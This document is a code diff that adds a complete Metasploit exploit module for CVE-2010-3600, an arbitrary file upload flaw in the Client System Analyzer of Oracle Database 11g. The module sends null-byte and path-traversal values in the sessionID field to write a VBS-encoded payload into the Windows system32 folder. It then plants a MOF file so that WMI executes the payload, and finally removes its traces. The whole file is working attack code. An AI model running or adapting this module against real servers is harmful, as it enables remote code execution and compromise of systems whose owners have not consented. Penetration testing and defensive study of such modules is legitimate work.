|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + HttpFingerprint = { :pattern => [ /Oracle Containers for J2EE/ ] } |
| 14 | + |
| 15 | + include Msf::Exploit::Remote::HttpClient |
| 16 | + include Msf::Exploit::EXE |
| 17 | + include Msf::Exploit::WbemExec |
| 18 | + |
| 19 | + def initialize(info = {}) |
| 20 | + super(update_info(info, |
| 21 | + 'Name' => 'Oracle Database Client System Analyzer Arbitrary File Upload', |
| 22 | + 'Description' => %q{ |
| 23 | + This module exploits an arbitrary file upload vulnerability on the Client |
| 24 | + Analyzer component as included in Oracle Database 11g, which allows remote |
| 25 | + attackers to upload and execute arbitrary code. This module has been tested |
| 26 | + successfully on Oracle Database 11g 11.2.0.1.0 on Windows 2003 SP2, where execution |
| 27 | + through the Windows Management Instrumentation service has been used. |
| 28 | + }, |
| 29 | + 'Author' => |
| 30 | + [ |
| 31 | + '1c239c43f521145fa8385d64a9c32243', # Vulnerability discovery |
| 32 | + 'juan vazquez' # Metasploit module |
| 33 | + ], |
| 34 | + 'License' => MSF_LICENSE, |
| 35 | + 'Platform' => [ 'win' ], |
| 36 | + 'Privileged' => true, |
| 37 | + 'References' => |
| 38 | + [ |
| 39 | + [ 'CVE', '2010-3600' ], |
| 40 | + [ 'OSVDB', '70546'], |
| 41 | + [ 'BID', '45883'], |
| 42 | + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-018/' ], |
| 43 | + [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html' ] |
| 44 | + ], |
| 45 | + 'Targets' => |
| 46 | + [ |
| 47 | + [ 'Oracle Oracle11g 11.2.0.1.0 / Windows 2003 SP2', {} ] |
| 48 | + ], |
| 49 | + 'DefaultTarget' => 0, |
| 50 | + 'DisclosureDate' => 'Jan 18 2011' |
| 51 | + )) |
| 52 | + |
| 53 | + register_options( |
| 54 | + [ |
| 55 | + Opt::RPORT(1158), |
| 56 | + OptBool.new('SSL', [true, 'Use SSL', true]), |
| 57 | + OptInt.new('DEPTH', [true, 'Traversal depth to reach the root', 13]) |
| 58 | + ], self.class ) |
| 59 | + end |
| 60 | + |
| 61 | + def on_new_session(client) |
| 62 | + |
| 63 | + return if not @var_mof_name |
| 64 | + return if not @var_vbs_name |
| 65 | + |
| 66 | + vbs_path = "C:\\windows\\system32\\#{@var_vbs_name}.vbs" |
| 67 | + mof_path = "C:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof" |
| 68 | + |
| 69 | + if client.type != "meterpreter" |
| 70 | + print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.") |
| 71 | + print_error("The vbs payload (#{vbs_path}) and mof file (#{mof_path}) must be removed manually.") |
| 72 | + return |
| 73 | + end |
| 74 | + |
| 75 | + # stdapi must be loaded before we can use fs.file |
| 76 | + client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") |
| 77 | + |
| 78 | + attrib_path = "C:\\windows\\system32\\attrib.exe -r " |
| 79 | + |
| 80 | + cmd = attrib_path + mof_path |
| 81 | + |
| 82 | + client.sys.process.execute(cmd, nil, {'Hidden' => true }) |
| 83 | + |
| 84 | + begin |
| 85 | + print_warning("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...") |
| 86 | + client.fs.file.rm(vbs_path) |
| 87 | + print_warning("Deleting the mof file \"#{@var_mof_name}.mof\" ...") |
| 88 | + client.fs.file.rm(mof_path) |
| 89 | + rescue ::Exception => e |
| 90 | + print_error("Exception: #{e.inspect}") |
| 91 | + end |
| 92 | + |
| 93 | + end |
| 94 | + |
| 95 | + def upload_file(data) |
| 96 | + res = send_request_cgi( |
| 97 | + { |
| 98 | + 'uri' => '/em/ecm/csa/v10103/CSAr.jsp', |
| 99 | + 'method' => 'POST', |
| 100 | + 'data' => data |
| 101 | + }) |
| 102 | + |
| 103 | + return res |
| 104 | + end |
| 105 | + |
| 106 | + def check |
| 107 | + |
| 108 | + file_name = rand_text_alpha(rand(5)+5) |
| 109 | + file_contents = rand_text_alpha(rand(20)+20) |
| 110 | + |
| 111 | + data = "sessionID=#{file_name}.txt\x00.xml" |
| 112 | + data << "\x0d\x0a" |
| 113 | + data << Rex::Text.uri_encode(file_contents) |
| 114 | + |
| 115 | + print_status("Uploading the CSA#{file_name}.txt file") |
| 116 | + res = upload_file(data) |
| 117 | + if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/) |
| 118 | + print_error("The test file could not be uploaded") |
| 119 | + return Exploit::CheckCode::Safe |
| 120 | + end |
| 121 | + |
| 122 | + print_status("Checking uploaded contents...") |
| 123 | + res = send_request_raw({'uri' => "/em/CSA#{file_name}.txt"}) |
| 124 | + |
| 125 | + if res and res.code == 200 and res.body =~ /#{file_contents}/ |
| 126 | + return Exploit::CheckCode::Vulnerable |
| 127 | + end |
| 128 | + |
| 129 | + return Exploit::CheckCode::Appears |
| 130 | + |
| 131 | + end |
| 132 | + |
| 133 | + def exploit |
| 134 | + |
| 135 | + # In order to save binary data to the file system the payload is written to a .vbs |
| 136 | + # file and execute it from there. |
| 137 | + @var_mof_name = rand_text_alpha(rand(5)+5) |
| 138 | + @var_vbs_name = rand_text_alpha(rand(5)+5) |
| 139 | + |
| 140 | + print_status("Encoding payload into vbs...") |
| 141 | + # Only 100KB can be uploaded by default, because of this "to_win32pe_old" is used, |
| 142 | + # the "new" template is too big in this case. |
| 143 | + exe = Msf::Util::EXE.to_win32pe_old(framework, payload.encoded) |
| 144 | + # The payload is embedded in a vbs and executed from there to avoid badchars that |
| 145 | + # URLDecoder.decode (jsp) is unable to decode correctly such as 0x81, 0x8d, 0x8f, |
| 146 | + # 0x90 and 0x9d |
| 147 | + vbs = Msf::Util::EXE.to_exe_vbs(exe) |
| 148 | + |
| 149 | + print_status("Generating mof file...") |
| 150 | + mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs") |
| 151 | + |
| 152 | + traversal = "..\\" * datastore['DEPTH'] |
| 153 | + data = "sessionID=#{traversal}\\WINDOWS\\system32\\#{@var_vbs_name}.vbs\x00.xml" |
| 154 | + data << "\x0d\x0a" |
| 155 | + # The data to upload must be uri encoded because the vulnerable jsp will use |
| 156 | + # URLDecoder.decode on it before writting to file. |
| 157 | + data << Rex::Text.uri_encode(vbs) |
| 158 | + print_status("Uploading the payload into the VBS to c:\\WINDOWS\\system32\\#{@var_vbs_name}.vbs...") |
| 159 | + res = upload_file(data) |
| 160 | + if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/) |
| 161 | + fail_with(Exploit::Failure::Unknown, 'VBS upload failed') |
| 162 | + end |
| 163 | + |
| 164 | + data = "sessionID=#{traversal}WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof\x00.xml" |
| 165 | + data << "\x0d\x0a" |
| 166 | + data << Rex::Text.uri_encode(mof_content) |
| 167 | + print_status("Uploading the mof file to c:\\WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof...") |
| 168 | + res = upload_file(data) |
| 169 | + if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/) |
| 170 | + fail_with(Exploit::Failure::Unknown, 'MOF upload failed') |
| 171 | + end |
| 172 | + |
| 173 | + end |
| 174 | +end |
0 commit comments